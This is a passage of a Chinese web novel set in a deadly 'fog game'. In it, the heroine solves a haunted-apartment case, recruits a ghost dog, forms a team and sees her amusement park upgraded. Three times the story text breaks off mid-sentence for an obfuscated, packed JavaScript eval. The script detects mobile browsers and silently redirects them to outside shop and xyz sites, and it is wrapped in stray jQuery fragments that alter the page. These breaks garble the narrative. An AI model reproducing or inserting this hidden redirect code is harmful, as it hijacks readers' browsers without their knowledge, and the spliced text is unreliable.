方柚柚回神,她想起自己要说的话:“法瑟在阵法里找到了她和齐小宝的八字。” “八字有问题?” 郝荨微微挑眉,她已经知道了方柚柚接下来要说什么,果然—— “齐永亮和方芳根本就不是想让她做引换齐小宝长生,真正想要续命的,是她!” 方柚柚伸手一指,指向了泫然欲泣的齐念儿。 “不是的,我……” 法瑟忽然开口:“对了。” 他手轻轻一甩,那尊被本应被供在高台的倒面佛便被他扔在了地上,骨碌碌滚了几圈,东倒西歪的摔在齐念儿面前。 “这个还你。” 齐念儿的眼神阴寒了一瞬:“如此不敬,你们就不怕被神佛惩罚吗?” 郝荨惊诧:“义务教育漏了你了是吧?这种要靠杀人渡劫的佛也算神明?” “哦!”她夸张地捂住嘴巴,一副刚想起来的样子,“我忘了,你还没开始念书呢。” “你!” “所以,”郝荨不想再浪费时间,“刚刚在走廊里,你妈妈喊的宝儿根本就不是你弟弟,而是你?” 齐念儿沉默了几秒,放下了手中的刀,那张稚嫩的脸上浮现出不符合这个年纪的成熟与沧桑。 轻轻一割,她头上歪七扭八的辫子便散落下来,郝荨震惊地瞪大双眼—— ——她的脑后竟然长了一个眼睛形状的瘤。 和那尊倒面佛一模一样! 郝荨恍然,难怪自己每次想碰她的脑袋都被拒绝,原来如此! 她立刻望向齐小宝,婴儿像是感知到了什么,在襁褓中不断挣扎,手臂挥舞,将他的头也露了出来,他的脑后也有一道轻微突起。 在光溜溜的婴孩脑袋上,这道畸形突起实在过分显眼。 胎记?不。 郝荨想起之前听说的,弟弟从小身体不好,这应该是某种严重的先天性疾病。 只是没想到,他们姐弟二人竟有一样的病症。 齐念儿摇摇头:“又是这样……” “又?” 她脸色阴沉,孩童本应天真无邪的脸和这种表情混杂,令人不由自主产生了一股毛骨悚然的诡异非人之感。 “上次就是莫名其妙失败,这次又是!为什么总是这样?!” 齐念儿的牙齿紧紧咬着,发出“咯吱咯吱”的摩擦声。 她怨毒地盯着郝荨:“梅医生说,只要妈妈再生个健康的小孩,就能把他的命换给我,我费了多少力气才让妈妈怀上,又那么努力地照顾她,可为什么!小宝也生了这病!没关系,梅医生不行,还有张大师、李先生……功夫不负有心人,总算是让爸爸妈妈找到了这个续命阵法,只不过要五个人的性命再加上小宝当引,我就能活到成年,更幸运的是,公寓里就有这五命之人!可偏偏!偏偏这个阵法就失败了!” “全天下想死的人那么多,为什么偏偏想死的人活着,而我想活,却不让我活?!为什么?到底是为什么?!!” 郝荨不止没有被她的情绪影响,甚至还觉得荒谬地想笑。 她平静道:“好巧,这个问题的答案我也想知道。” 齐念儿是罪有应得,她却只是想找个有六千块工资的工作,这很过分吗? 可结果呢? 她被人杀死,被迫绑定一座破烂游乐园,进无限流卷生卷死,为什么偏偏就是她这么倒霉? 像是没想到她会这么回答,齐念儿一时被噎住。 郝荨看在“同病相怜”的份上,“好心”开口:“你想知道为什么第一次阵法会失败吗?” 齐念儿猛地抬头:“为什么?!” 郝荨意有所指地抬了抬下巴,指向她手中握的尖刀,刀面光洁,清晰地倒映出一个影子,那影子正瑟瑟发抖着拼命往床底下缩。 “喏,因为他。” “田耀?”齐念儿皱眉,“就他?” “就他。”郝荨不着痕迹地换了个手拿木仓,手酸。 “如果我没猜错的话,金木水火土——按顺序排下来,你们准备的最后一个土命之人应该是王娴王阿姨吧?” 齐念儿下意识看了眼窗外,楼下的土地中,王娴的尸体正埋在那里。 当时时间太紧,谁也没想到田全居然不肯自焚,硬是拖到了阵法最后一天,他们没办法,只能自己动手。 因为一天要解决两个人,他们只好分头行动,她趁着大家睡觉的时候给田家放火,而爸爸妈妈去解决王阿姨,为了保证金木水火土的顺序不错,爸爸妈妈将王阿姨直接活埋入土,这样才能确保在田全死后她才死。 计划很顺利,可就偏偏,在她和齐小宝躺进阵法后,阵法出了问题! 郝荨:“你算漏了一件事。” 齐念儿:“什么事?” “那天,楼里不止死了田全和王娴,还死了一个人,在你杀死田全这个火命之人之前,田耀将施婉婉杀死了。” 齐念儿皱眉:“就算他杀了个人也不会影响——” “他杀死施婉婉的方法应该是闷死,用的施婉婉家里的盆栽。” 方柚柚忽然想起什么,她掏出万年历翻到施婉婉给丁婆送生日蛋糕的那一页:“施婉婉也是土命!” 这座外表普通老旧的幸福公寓真是藏龙卧虎,就剩这么几户人家,还能凑齐金木水火土五行命格之人,甚至还有两个土命! “五行顺序被打乱,你靠阵法长生续命的愿望自然也成了泡影。” “哈……”齐念儿没想到自己居然败在一个小小的田耀身上,她气极反笑,“田耀,是你!” 随着一声尖啸,齐永亮和方芳的鬼影陡然出现在她身后。 齐永亮一改往日仙风道骨的模样,他的胡子劈了一半,身上全是血,与妻子二人一起像是傀儡般望向他们的女儿。 明明是居高临下,目光里却满是温顺、无奈,还夹杂一丝恐惧。 齐念儿站直身体,头昂得高高的,趾高气扬命令道:“杀了他!” 话音刚落,齐永亮和方芳就冲进了床下。 “啊啊啊啊啊啊啊救命!!!” “砰!” 大门碎裂,那怪物像旋风似的撞了进来,一瞬间地动山摇。 郝荨勉力站稳,刚想跑路,就发现怪物直直向齐念儿冲去。 “该死!” 齐念儿也不装了,她一把将身上的绳子割断,就将齐小宝当个球似的朝怪物扔去。 庞大的怪物见状,猛地刹车,顺势身形扭转,张开血盆大口一口咬住了齐小宝。 咦? 郝荨挑了挑眉。 不等她细想,那怪物已经冲到了齐念儿跟前。 齐念儿慌了,她一脚踩上木床,在床上用力跳了几下:“快滚出来!它来了!保护我!!!” 听闻这话,方芳也不管田耀了,扭头就扑在了怪物身上,被怪物一下掀翻在地。 齐永亮最后给了田耀一下,才探出头去。 他有些犹豫,但在齐念儿疯狂的辱骂催促下,他一咬牙也扑了上去。 其他死在她手下的鬼影也纷纷从各处涌来,就连埋在土里的王娴也拼命向外扑腾。 “别看了,快走!” 方柚柚推了推郝荨,没有推动。 郝荨专注地望着他们,眼珠微动:“等下。” 那些对上他们时分外可怖的鬼影此刻被不停地打落,冲上去,被怪物顶翻,爬起后再度上前,再次被甩开……直到被撕碎吞食。 郝荨的眼睛越来越亮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558464|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她掏出香递给法瑟,小声道:“一会儿你……” 齐念儿的恐慌感越来越重,这怪物简直神挡杀神佛挡杀佛,无论谁对上它都抵不过三秒。 她慌乱地四下查看,弓起身子要逃。 齐念儿偷偷摸摸地挪到门口,眼看着就要跑走,却被怪物一口咬回! “啊啊啊!!!” 凄厉的尖叫声响起,齐念儿的胳膊被撕咬断裂,鲜血像是喷泉一样涌出。 她的脸色迅速灰败,破口大骂:“废物!你们一个两个全是废物!” “这么没用当什么父母?!要不是你们我根本就不会变成这样!!!” 瘫软在地奄奄一息的方芳用力闭了闭眼,用尽浑身力气再度扑上,想要把齐念儿从怪物口中抢回—— 这宛如螳臂当车的举动没有任何用处,不过半分钟而已,齐念儿就被怪物吞食下肚,再也没有半点声响。 怪物黑洞洞的眼睛慢慢转向郝荨,方柚柚拽着她手臂的手紧了紧。 郝荨紧紧盯着怪物,嘴里还在安慰她:“没事。” 气流带着飞舞的黑色碎屑从怪物口中喷出,它转身朝三人走来。 一步一步,缓慢又沉重。 她精神集中,飞快地打开自己的技能栏,然后等待—— 怪物微微屈膝,身体做出了一个准备动作,紧接着,它像是一支绷紧的箭,倏地离弦直击郝荨! “叽叽!” 方柚柚用力捏了一把橡皮老鼠,怪物身形一顿—— 就是现在! 技能选择——身临其境! 瞬间,数以万计的画面在她眼前滚动,那只熟悉的流浪犬被住户们轮流喂食,有人一边笑骂一边偷偷将肉骨省下,有人不写作业陪它玩耍被家长臭骂,有人在寒冷冬夜给它送上厚厚毛毯,有人在炎热夏季给它慢慢扇扇…… 无数的无数画面闪过,都只是那只流浪犬短暂的一生。 “太阳高高挂天上,我们玩个捉迷藏……” 这是大黄狗最爱玩的游戏,它的鼻子很灵敏,无论哪个小孩躲在公寓里什么地方,它都能很快找到,孩子会发出银铃般的笑声揉搓它的脑袋,看它拼命摇尾巴在原地扭着屁股蹦跳,这是它每天最快乐的时候。 只有那一次…… 画面中的公寓楼以肉眼可见的速度破败荒凉,人越来越少,血腥味却越来越浓,陪他玩耍的小孩只剩下一个——齐念儿。 “别跟着我!” 齐念儿不耐烦地踢了它一脚,她按了一下手里的打火机,想要把这畜生吓退,大黄狗不知所措地转了个圈。 但在对方去往一楼时,它还是跟在她脚旁。 齐念儿眼珠一转,忽然蹲了下来:“玩捉迷藏吗?” 大黄狗立刻忘记了对方之前的凶狠,它开心地摇着尾巴,还想往小女孩身上扑。 齐念儿没有在意,她露出了一个天真又残忍的笑:“去,去找个地方数数,等我藏好了再来找我。” “汪!” 大黄狗迅速跑开,它找了个墙角趴下,甚至还听话地捂住了自己的耳朵。 但它没有等到游戏开始的声音,等来的…… 是一场大火。 “咳咳咳……” 郝荨眼睛一眨就进入了这段记忆片段,好大的火,熊熊火焰噼里啪啦地燃烧着,她没有急着避火,也没有去找那大狗,而是冷静地选中自己的最后一个技能—— 【资本家天赋技能使用——我是自愿加班的!】 【选择对象:小仓。】 【检测到玩家已使用技能“身临其境”,将自动与员工小仓技能“幻境”叠加,玩家可自由篡改对方记忆片段。】 【篡改时间截止至员工回归。】 郝荨望着刚刚睡醒就被拉来出差的小仓笑了笑,玩家嘛,能打BO的才是好资本家啊。 73. 幸福公寓22(完) “汪汪!” 大黄狗畏惧地夹起尾巴,火焰灼烧了它的皮毛,它忍不住后退了几步。 窗户就在身边,没有关。 只要跳出去,它就能离开这场恐怖的大火。 “呜……” 它在原地焦急地转了好几圈,缩着脖子:“……汪!” 大黄狗扭过头,向楼上冲去。 本该湿润的鼻子被火舌烤干,它贴在滚烫的楼梯上,仔细嗅闻玩伴的味道。 但这栋公寓本来就是她的住所,到处都留有女孩的痕迹,再加上无处不在的焦糊味道,压制住了它引以为豪的敏锐嗅觉。 大狗在公寓内快速奔跑着:“汪!汪汪!汪!” 你在哪呀? 我来找你啦! 别躲啦!快出来呀! 它的肉垫被烫得站不住,几乎是一蹦一跳地跑着。 公寓楼内复杂的气味多了一缕肉被烤焦的味道。 大黄狗从一楼跑到三楼,又从三楼跑回一楼,可怎么找也找不到小女孩。 它的眼睛逐渐湿润,不知道是汗还是泪滴落在地板上,又被大火烤干。 怎么会找不到呢? 你到底在哪里呀? 游戏还没结束吗? 别害怕,我一定会找到你的! 它又重新踏上楼梯,一截楼梯被烤裂,重重砸了下来,大黄狗反应很快,迅速闪身躲过。 那楼梯只将将压住了它的尾巴,将尾巴尖生生砸断。 “汪呜——!” 大黄狗凄厉地叫了一声,但很快,它就从楼梯下将自己的尾巴救了出来。 还好尾巴还在,只是毛被烧没了,它松了口气,不愧是它! 它真是这栋楼里最勇敢最无畏的狗狗! 大黄狗继续向楼上飞快跑去,像是个为伙伴冲锋陷阵的战士。 它不知道的是,无论它再怎么找,找多久,都不会找到那个和它一起玩捉迷藏的玩伴。 因为——齐家人根本就不在公寓里。 郝荨站在麻将馆所在的阳台向下眺望,他们本想只烧田全一个人,可不知怎的,这火势失去了控制,愈烧愈烈,齐家一家四口见势不对,立刻将倒面佛和法阵一起搬到了公寓外。 此刻,他们正在公寓背面不远处重新摆上供桌。 几具身负五行命格的尸体被他们摆在公寓各处,即使郝荨不太懂这些,也能看出这几处位置的诡异。 郝荨脸色很难看,她走到101门口,这里是最开始的起火点,也是烧得最严重的地方,田全将田耀困在他房间,哪怕是只剩一口气,他口中还在不住问着: “为什么……你为什么要那么做……” “小时候明明那么乖……现在竟然敢杀人……” 他浑身焦黑,眉毛和头发都被烧光,还在皱着眉头,似乎真的不懂。 田耀被他压在身下,身上好一些,还有力气挣扎。 他骂了句脏话:“你[哔——]放开我![哔——]还问我?![哔——]你是我爹你去[哔]我喜欢的女人!你还敢问我?!” 田全一愣:“什么——” “你还装傻?!我都看到你给她塞钱了!”田耀骂骂咧咧。 他伸手一拳打到田全脸上,田全猝不及防被打翻,从床上翻身落在火海。 迷迷糊糊间还有不敢置信的声音传来: “我那是…为了你……偷看人家……赔礼道歉……” 不一会儿,连这点声音都没了。 田耀连滚带爬,惨叫着往门口跑,身上没有一块好肉。 “要做了他吗?” 小仓困得眼睛都睁不开,还在兢兢业业问老板指示,简直感天动地。 郝荨摇头:“不用。” “那你叫我来干嘛?” 她摸了摸肩上萎靡的小八爪鱼:“我讨厌这里。” 她看起来确实比现实蔫很多,像是条被烤干了的咸鱼。 大黄狗还在寻找着,它棕黄色的毛发逐渐变得焦黑,接着又大片大片的裂开。 它的眼睛被烟熏坏,已经看不清路了。 只凭借着嗅觉本能地寻找。 怎么找不到呀? 她躲到哪里去啦? “呜……汪!” 大黄狗蹒跚着踩在楼梯上,差点一脚踏空,它慌乱地蹬脚,好不容易才爬上台阶。 它张着嘴像个破风箱似的喘着气,随后继续迈步向前。 快出来! 游戏结束怎么还不结束呀? 走着走着,它忽然撞到了什么,这味道……? 有点像,又有点不像。 它有些犹豫,穿着宽大T恤的小女孩在高温中蹲了下来,伸出手去让它仔细嗅闻。 嗅嗅—— 是她! 大黄狗一下蹦了起来,绕着自己尾巴疯狂转了几圈,然后叼着女孩的T恤就往楼下拽。 快走! 起火啦! 快跑呀! 小女孩迈着短腿跟在黄狗身旁,滚烫的地板慢慢变得湿润,“齐念儿”,也就是郝荨把手伸到背后,给躲在暗处的小仓比了个大拇指。 干得好! 大黄狗快活地奔跑在不再烫脚的地板上,焦黑斑驳的毛发掉落,重新恢复了蓬松柔软的毛发,它灰暗的眼睛也随之亮起,鼻头重新变得湿漉漉。 “汪!” 看到大门了! 它回过身绕到女孩背后,一脑袋顶在女孩腰间,将她送出了燃烧的公寓。 在他们出门的瞬间,幸福公寓轰然坍塌。 黄狗喘着气,开心地伸出前爪扑在女孩肩头。 郝荨一把接住,摸了摸它的脑袋,她笑了起来:“好狗狗,你找到我啦——” “游戏——结束。” 四支线香点燃,青烟飘散,缓缓环绕住这只巨大的黑色“怪物”,“怪物”以肉眼可见的速度一点点缩小,最终,变成了那只游荡在公寓各处的棕黄色大狗。 “汪!” 它哈着气,在原地转了个圈。 郝荨从回忆中脱离,那四支线香也已经烧到只剩短短一截,大狗的身体从尾部开始逐渐消散,那些枉死的魂灵也重新浮现,他们一一与大狗拥抱,正式告别。 亡魂超度成功了——这怎么行?! 她堂堂资本家,可从不做亏本的生意! 这趟升阶考核这么辛苦,还用掉了她大半个防御道具,怎么能仅仅只用来升阶乐园? 郝荨盯住那只摇头摆尾的大狗,嘴角一弯,露出了自己最和善可亲的笑容。 她在大狗面前蹲下,先是摸了摸它还没完全消散的脑袋,随后抓紧时间,掌心向上放在大黄狗面前: “还想玩游戏吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14587753|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?跟姐姐走吧,姐姐”家“里很大,可以让你随地跑,你想吃什么就吃什么,还会有很多哥哥姐姐叔叔阿姨陪你玩捉迷藏哦!” 狗狗歪了歪脑袋,那双水汪汪的眼睛盯着郝荨看了看,然后摇摇尾巴,将前爪放在了她的掌心。 “汪!” 【员工协议签署成功。】 【恭喜玩家获得员工——流浪犬(待取名)】 【等阶:蓝】 【能力:它拥有世界上最敏锐的鼻子,没有它找不到的东西,也没有它找不到的人。】 【备注:请注意,这是一只忠心勇敢的好狗狗,狗狗的世界里没有善恶,小心它与坏人打成一片。】 嗯……问题不大。 这么点小问题神使一定可以解决的! 郝荨不负责任的想。 “好了,现在——我们可以聊聊了。” * 迷雾大厅的一处不起眼角落。 “请慢用。” 黑山羊“十三”将三只酒杯一一放在几人面前,还贴心地把方柚柚的那杯酒液换成了牛奶。 郝荨说了句“谢谢”,随后抿了口低度数果酒。 好喝。 方柚柚顶着那双死鱼眼定定道:“你怎么还不走?” 被狠狠盯住的法瑟再也没办法装发呆,他没有看向方柚柚,而是扭头盯住了郝荨: “我们组队吧。” 方柚柚猛地睁大双眼,什么人啊!怎么还当着人面在这挖墙脚! “是我先邀请她的!” 玩偶兔也不装死了,气呼呼地朝法瑟冲去,被对方一下按在桌上。 法瑟认真地望着郝荨:“我是真心的,在固定队伍中,不真心的队友才是多余。” 嚯!他这睫毛可真长。 郝荨有点不自然地移开视线,这人平均脸的时候还看不出来,现在脱离了游戏的遮挡,明明浑身上下只露出一双眼睛,也能感觉到是个帅哥。 高鼻深目,睫毛又长,神游的时候还好,这会儿认真起来了还真让她有点顶不住。 “咳……咱们先一个一个——” “玛弥!!!” 郝荨眼一花,一个黑煤球“噗通”一下摔在了她跟前,将迷雾大厅的地面砸出一个坑。 余逸? 余逸将自己从坑里拔出,黑煤球头套下眼泪汪汪:“是我,是我先,明明都是我先来的,新手副本也好,线下也好……” 郝荨:…… 你的戏未免也太多了!还嫌不够乱吗?! 郝荨深吸一口气:“你怎么在这儿?” “我不来你就要跟其他人组队了!”余逸幽怨道。 他从“十三”手里接过一杯奶,豪放地一饮而尽,总算是恢复了正常。 “我刚刚从副本出来,就看到你要跟人组队……”余逸有点不好意思,“能不能…能不能让我也拿一张爱的号码牌?” 他做作地比了个心。 郝荨看着这个朝自己wink的黑煤球,拳头硬了。 “行啊,这样吧,考虑到咱们这是个热门岗位,公平起见,你们竞争上岗。” 她往后一靠,双手抱臂,戴上了一抹专属于HR的冷酷微笑: “先做个自我介绍吧,谁先开始?” 余逸一拍大腿,这个老师教过! 群面!这是群面! 74. “我敢吃屎!” 事情究竟是怎么到现在这个地步的? 郝荨半瘫着靠在椅背上,双目发直,“十三”端着托盘路过,饶有兴致地给她续上一杯: “真好啊,我许久没有看到这么有活力的人类了。” 郝荨干笑两声,两眼无神地看向那吵到已经快要激愤掀桌的三人—— “遇到危险时,我可以自己去找线索,让我的兔子保护她,不浪费一分一秒,你们能吗?!” ——这是累到嗓子都开始劈叉的方柚柚。 “我、我、我刚拿到的新技能可以帮她挡刀!不管她在哪里!你们行吗?!” ——这是脸红脖子粗还不忘举手报告的好学生余逸。 法瑟左看看右看看,伸手拽了拽自己的半面罩:“我不会让她陷入危险。” 方柚柚和余逸对视。 靠,输了! 郝荨抬手撑住额头,恍惚间她还以为自己穿进了什么绿色小网站,成了万人迷文的主角。 而他们已经又开始了下一轮的掰头,直到余逸被逼急了大喊一句: “我敢为她吃屎,你们敢吗?!” 场面瞬间陷入寂静,这几个郝荨自己都不敢重复的字如重锤一般回荡在在场每个人的耳边。 郝荨沉重闭上眼,深吸一口气:“谢谢,但不必。” 声音像是从牙缝里挤出来似的。 这话一落,方柚柚忽然找回了理智,她沉默了几秒,钦佩地拍了拍他的肩膀:“你厉害。” 余逸结结巴巴:“不、我、不是、你——” “好了,你不要说了,”方柚柚抬手阻止他,“我认输。” 说完,她看向一脸怀疑人生的法瑟。 轮到你了。 法瑟试着张了几次口:“我……” 直面BOSS时都没有渗出的汗水此刻清晰地出现在他额头。 郝荨十分无语。 不是,大兄弟,你就真的这么想赢吗? “好了,”她决定打断这场闹剧,“我真的不需要别人为我吃……那玩意儿。” 法瑟肉眼可见地松了口气。 郝荨望着眼前三人,提出了最后一个问题:“我只想知道,你们究竟需要我为你们做什么呢?” “不要说谎,我看得出来。” 她眼神沉静,被她盯住的人连一丝说谎的想法都无法提起。 余逸率先开口:“我只是……不想死。” 往日率真的狗狗眼里布满阴霾与后怕,他回忆起刚刚离开的那场游戏,光是想想,身体就忍不住打颤。 太可怕了……太可怕了! 那场游戏总共进了六个玩家,刚刚进去,他都还没将人认全就死了一个,然后……就像是单方面的屠杀。 没有人知道BOSS在哪,也没有人知道他们究竟触犯了什么规则…… 只知道前一天还在报团取暖的同伴第二天就只剩下半具被啃噬的尸体。 也不知道他的运气是好还是不好,大决战时,他意外掉进了一个深洞,摔断了腿,身体被紧紧卡在幽深的孔洞内,只能眼睁睁地看着那些虫子顺着自己的断口啃咬……可也正是因此,他反倒苟活到了任务完成的时候。 余逸惨然一笑,真诚道:“学姐,我会努力跟上的,要是哪天你觉得带不动我了,可以帮我找个舒服一点的死法吗?我……我有点怕痛。” 他沉浸在自己的愧疚情绪中,自己这么菜,实在不该仗着学姐人好就死皮赖脸求她带自己,可…… 然而,回应他的并不是学姐的温柔安慰,而是她那沙包大的拳头。 郝荨梆梆给了他两拳:“呸!别说晦气话!” 不就是带人下本吗? 放尊重点,她可是专业陪玩! 她不允许有任何一个老板会在她手里输掉! “下一个。” 方柚柚举起手:“我跟你说过的,想请你帮我带一个怨念回到现实。” 郝荨颔首,她记得。 “所以,那个怨念是谁?” 方柚柚弯下腰,把不知何时落在地上的兔子捡起,推到了桌子正中,她深吸一口气: “——是他。” 四双直勾勾的眼缓缓凑近那只洁白的毛绒玩偶兔,“它”,不,应该说“他”,他一甩自己的长耳朵,圆滚滚的脸颊扬起,鼻尖嗅嗅,红宝石般的眼中流光闪过—— 一副臭屁模样。 就好像在说“没错,就是本大爷!”。 郝荨:“这是你什么人?” 方柚柚把下巴磕在桌上,苦大仇深道:“……我哥。” “你哥?!” 郝荨猛地睁大双眼,白兔子的哥哥……不是死在那场A级副本里了吗?! “嗯,”方柚柚垂下眼,“他是我的孪生哥哥——方步步。” 听到有人在叫自己,玩偶兔的行为更是做作,他拍拍自己鼓鼓囊囊的肚子,又捋了捋自己油光水滑的长耳朵,然后一骨碌爬起,叉腰道: “没错,正是在下!” “啪。” 郝荨抬起头,正好看到方柚柚一巴掌将自己的脸捂得死死的,不忍直视的样子。 咬牙切齿的细小声音从她指缝间流出:“他……我把他塞进玩偶的时候…玩偶好像出了点问题,他才会变成这样……之前他不是这样的!” 他们俩兄妹从小到大都是出了名的天才,事实上,虽然她的智商比他哥要高,但他哥明显更符合世人对小天才的幻想,聪明、自傲、有主见、举止优雅……比她这个除了看书就是睡大觉,连门都懒得出的妹妹要知名得多。 他们的爸妈是某保密部门的研究人员,很小的时候就经常见不到人,他们早就习惯了自己照顾自己,方步步作为哥哥更是早早就懂得了人情世故,必要时刻,他会使用一切手段保护她,只是她没想到,这个“一切手段”中……也包含了他自己。 方柚柚不愿再去回想那场游戏,她抬起眼望向园长。 “……可以吗?” 这个只有十二岁的女孩坐直身体,妄图让自己看起来更加成熟,能够拥有与其他大人一样的谈判资格,但在郝荨眼里,她却依然还是那个稚嫩的未成年,甚至因此反而看起来更加可怜。 她没有正面回答,而是先问出了一直徘徊在自己心头的问题:“你是怎么知道我的?” 迷雾游戏里每天有这么多新人玩家,她承认自己还算优秀,可再怎么优秀也不可能刚过几场游戏就被其他高玩知道吧? 再这么下去,她可真要怀疑自己是某本小说的主角了。 “‘预言家’告诉我的。”方柚柚老实道,“他告诉我,我要找的人会在最炎热的季节,在最阴凉的迷失之地出现。” 法瑟忽然开口:“‘预言家’?他已经失踪很久了。” “嗯。” 方柚柚点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607493|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“出事之后,我找了好多人都没有办法,直到今年年初,我在一场副本里遇见了他,他才不得不……他才自愿帮我做了一次预言,之后没多久,他就不见了,或许是死在副本里了?总之,今年夏天,我刚好刷到了乐园的热搜视频,一点进去就看见了那只八爪鱼。” 之后的话她没有再说,郝荨也明白了,还是那个主播惹的事。 她轻轻敲了敲扶手,眼珠转动:“那你呢?” 这三人里,她可是对这个最为神秘的“法瑟”最感兴趣呢。 “你的真实代号是什——” “我见过你。” 话说出口,“法瑟”探寻的视线望来,眼神轻轻晃动。 一阵失神的沉默后,郝荨微一挑眉:“是吗?在哪?” “法瑟”缓缓移开视线,张了几次口都没说出来。 看着很难以启齿的样子。 “……梦里。” 郝荨:…… 她慢慢皱起眉毛,椅子不着痕迹地向后挪去,就连安静喝奶的方柚柚都一副看变态的模样。 余逸听不下去了:“兄弟,你这招也太油了!” “法瑟”那没被遮住的耳朵一下变得通红:“不是、不是那样!” “那是哪样?你说不出来的话我只能扛着学姐跑路了啊!可别说我不顾咱们队友情!” 余逸捋起袖子跃跃欲试。 好在“法瑟”虽然话少,表达能力却不差,很快郝荨就听明白了。 简而言之,他遇到了万年难得一遇的游戏BUG。 前不久,“法瑟”在离开一场游戏时意外坠入了一片无边虚空,身边只有永恒亮着的星辰作伴,没有时间,没有距离,不会饿也不会冷,他不知道自己在里面过了多久,只隐约感知到了一些一闪而过的片段,再出来时,他所有后来获取的技能、道具、天赋树都被清空,只剩下了最开始自带的天赋道具,也就是那柄白骨长刀。 找迷雾游戏的客服也只说他身上一切正常,没有检测到任何错误。 他只隐隐觉得自己应该去找什么人,在那些片段里出现过的人。 于是,他开始不停下本——直到遇见了她。 “你确定,自己要找的人是‘我’?” 郝荨迷惑地指了指自己,不敢相信。 “法瑟”点头。 郝荨拧起眉,她从不觉得自己是什么特殊的人,但自从被刀疤男杀死开始,事情却一桩桩出现,这些人也一个个撞到她身边……就像是被什么安排好了似的。 实在奇怪。 不过这对现在的她而言,不是什么坏事。 郝荨伸出手,莞尔一笑:“既然大家的目标不冲突,那么——” “合作愉快。” 四只不同大小不同肤色的手堆叠在一起,余逸用力一抬:“好耶!” 离开前,郝荨忽然想起什么:“对了,你的真实代号是?” “法瑟”将护目镜从额上摘下戴好,眼睛被遮住后,他的声音仿佛也变得模糊不清起来:“……格。” “嗯?”郝荨怀疑自己听错。 身形高大的男人停下脚步,他轻轻拉下面罩,露出了下半张脸: “霍格,我的代号。” 嗯,不只是口罩帅哥,郝荨满意地点点头—— 等下。 他是说……霍格? 那个迷雾游戏知名独狼?! 75. 游乐园大升级! 累。 好累,从迷雾大厅出来的瞬间,先是一阵嗡鸣声在耳边响起,郝荨下意识眯起眼。 再然后是风穿过她的衣服,将单薄的布料吹起。 大脑像是炸了似的,她什么也听不清,也什么都看不清。 靠,不会是又要死了吧! 她喘着气,大汗淋漓,费力地撑住墙往房间走去。 神使绕着她飞了好几圈,叽叽喳喳的,吵得她想吐—— 【恭喜玩家通关C级融合副本“幸福公寓”,通关评价:A+】 【迷雾乐园升阶考核完成。】 【新区域开启中,预计耗费:8小时。】 【外观升级中——】 【请园长选择以下……】 郝荨眼睛一闭,重重扑在了自己的床上,再睁开眼时,天已大亮。 “嗬!” 她猛地坐起,还活着! 微风带来了树木的芬芳和花草的清香,鸟雀在树枝间跳跃,盛夏的阳光照耀在树间,留下斑驳的—— “不是,我怎么睡在地上啊!” 黑色眼球静静地趴在枝头观察着她。 “别装了!再装也不会变成小猫咪的!” 郝荨一骨碌站起:“这是怎么回事?!” 神使懒洋洋的翻了个身: 【你醒啦?迷雾游戏已经过去五百年了。】 郝荨:? 她回身望去,还好,自己还在游乐园—— 这还是她的游乐园吗?!! 锈迹斑斑的大门和铁皮围墙鸟枪换炮,成了哥特式的精致铁栏,尖锐得仿佛能戳穿每一个来访者的胸膛,镂空花纹诡异而又绮丽,丝绒质感的黑巴克蔷薇缠绕而上,密密麻麻的荆棘丛如同守卫乐园的战士,将游乐园牢牢包裹。 杂草土路被推平,浇筑上大块地砖,砖石上雕刻着歌颂神明的图案与符文,一路延伸到山脚,简陋的工人宿舍消失不见,和副本里一模一样的幸福公寓低调地换了个位置,将自己隐藏进花丛中。 棕黄色的大狗嗅到了新主人的味道,激动地从公寓里跑出,中途还因为冲太快摔了一跤,它顺畅地滚了几圈重新爬起,然后扑进了郝荨怀里猛蹭。 “好乖好乖。” 郝荨用力搓了搓它的狗头,这些她都很满意,只除了…… “啥啊这是!” 大门进入的地方多了一片圆形广场,和所有游乐园一样,这片广场的中央坐落着一座巨大雕塑,作为整座乐园最独特的门面标志物…… 怎么是神使这倒霉催的形象啊!!! 高约五米的硕大眼球安静地漂浮在半空,猩红瞳孔随着光线而变化,察觉有人在观察它,眼球忽的旋转了半圈,与郝荨直直对视—— 【你看见了不可知物,“战栗”+5】 【检测到该游客身份为“园长”,触发效果“自家人打自家人”,“战栗”效果消除。】 “这是雕塑的自带BUFF?” 黑色眼球“哼哼”两声,一脸骄傲: 【本来应该由你自己选的,可我一看另外两个都是什么垃圾,就帮你选啦!不用谢我!】 如果神使有鼻子,此刻应该已经翘到天上去了。 郝荨捏住它,像是捏捏乐那样玩了两下:“这次就算了,下次你再私自帮我做决定,我就要去神明那里举报你了哦。” 